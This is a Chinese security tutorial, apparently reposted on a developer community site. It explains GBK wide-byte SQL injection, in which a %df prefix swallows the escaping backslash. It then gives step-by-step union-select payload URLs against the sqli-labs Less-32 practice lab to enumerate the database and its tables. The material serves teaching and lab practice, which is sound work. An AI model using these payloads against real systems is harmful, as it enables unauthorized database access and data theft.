前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >sql–宽字节注入

sql–宽字节注入

作者头像
字节脉搏实验室
发布于 2020-04-07 08:39:12
发布于 2020-04-07 08:39:12
9120
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-墨子辰

宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

宽字节注入是利用msql的一个特性,mysql在使用GBK编码的时候,会认为俩个字符是一个汉字GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。

gbk 两个字节 gb2312两个字节 utg-8 三个字节

https://the-x.cn/UrlDecode.aspx 在线解码编码(百度就能找到)

\' 编码为:%5C%27

%aa%5C%27 解码为:猏'

这样就能够把 ' 逃逸出来

我们以 sqli-labs靶机试试(如需下载按照,请自行百度)

http://localhost/sqli-labs-master/Less-32/?id=1'

可以看见'前面加了\,如果是在实战中,这不会有显示。所有,我们在探测sql的时候,如果加上单引号没反应,我们不妨试试%df%27

http://localhost/sqli-labs-master/Less-32/?id=1%df%27

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 order by 3%23

多次测试,得到字段数目为3

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 union select 1,2,3%23

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 union select 1,2,database()%23

执行上述url如果没有反应,这时候我们应该考虑注入一个不存在的id(负数)

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,database(),3%23

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

group_concat(table_name) 列出所有列表名称

如果不使用group_concat(table_name)只能列出单个表名

后面就是查看表里面的东西了。

如果有兴趣,推荐去南邮CTF里面做一做 GBK Injection

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
sql-labs-less32/less33|sql注入
由于less29-less31关需要使用JspStudy,但是官网的版本不支持Windows10环境(是我太菜,之前在XP虚拟机搭建DVWA环境就搞不好),所以直接跳过了。本关为sql-labs系列less32和less33,此系列持续更新,前面的关卡可以查看我前面的文章,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
5620
sql-labs-less32/less33|sql注入
超全sql注入实用语句_sql注入语句实例大全
目录 判断是否存在注入 判断列数 Union联合注入 爆数据库 爆表 爆字段 爆数据 sql盲注 导入导出文件 Post注入 修改useragent: 修改referer: 修改cookie gr
全栈程序员站长
2022/11/16
2.7K0
【PTE-day05 宽字节注入】
mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围
samRsa
2023/11/17
1510
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:
Ms08067安全实验室
2022/12/22
4K0
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
1.4.1-SQL注入防御绕过-宽字节注入
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字。 使用%df’进行编码,两个字符组合,认为是一个汉字。 注:前一个Ascii码大于128才能到汉字的范围
tea9
2022/07/16
1.1K0
1.4.1-SQL注入防御绕过-宽字节注入
sql注入之(宽字节注入篇)
在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效,
逍遥子大表哥
2021/12/17
3.5K0
sql注入之(宽字节注入篇)
cisp-pte学习笔记之SQL注入(二)
floor() rand() count() group by() 分配初始创建一个虚拟表 分两种 第一种 第一次取数据在虚拟表中进行索引,索引未发现同类项,进行二次取数,进行写入 第二种 第一次取数据在虚拟表中进行索引,索引发现同类型,直接写入,不进行二次取数 concat()
cultureSun
2023/07/08
4970
宽字节注入原理学习
我们注入时都会简单输入一个 ‘ 或者 ” ,进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ‘ 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ‘ 就会失去注入的功能。
全栈程序员站长
2022/11/04
2840
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
3.9K0
SQL注入从入门到进阶
sql注入总结笔记
前端构造的SQL语句片段拼接到后台SQL语句中,后台缺乏正确识别和过滤,造成与其外的数据库查询结果。
宸寰客
2020/08/11
1.7K0
sql注入总结笔记
Sqli-labs 通关笔记
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
wywwzjj
2023/05/09
4980
SQL注入 安全狗apache4.0.26655绕过
本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。
乌鸦安全
2021/08/05
8050
SQL注入 安全狗apache4.0.26655绕过
SQL注入头脑风暴
union语句是一下可以查询两条语句的用法,需要注意的是前一句查询语句与后一句查询语句中查询的数量需要保持一直,否则会报错。
Tommonkey
2023/03/20
6510
SQL注入头脑风暴
MySQL注入--Payload
floor和group by配合使用group by的key唯一性和编码顺序导致二次执行产生不同大的key
Mirror王宇阳
2020/11/12
2.5K0
MySQL注入--Payload
SQL注入漏洞详解
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
谢公子
2022/01/13
2.2K0
SQL注入漏洞详解
SQL注入靶场Day4 宽字节注入
mysql支持16进制输入,16进制输入可以替代字符从而避免了单引号的加入 user 16进制得到:75736572
Baige
2022/03/22
6691
SQL注入靶场Day4 宽字节注入
黑客常用SQL注入绕过技术总结!
今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞,使我们的系统更加健壮,更加安全。
冰河
2021/07/20
2.9K0
Sqli_labs65关通关详解(下)
less-31 逻辑跟30关一样,只不过 $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; 闭合的情况
安恒网络空间安全讲武堂
2018/02/06
1.4K0
Sqli_labs65关通关详解(下)
【SQL注入】SQL注入知识总结v1.0
First of all,你的目标得有可以利用的漏洞才行,不存在什么万能代码的...
一名白帽的成长史
2019/10/08
1K0
【SQL注入】SQL注入知识总结v1.0
SQL注入的几种类型和原理
在上一章节中,介绍了SQL注入的原理以及注入过程中的一些函数,但是具体的如何注入,常见的注入类型,没有进行介绍,这一章节我想对常见的注入类型进行一个了解,能够自己进行注入测试。
天钧
2019/10/09
5.5K0
SQL注入的几种类型和原理
相关推荐
sql-labs-less32/less33|sql注入
更多 >
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文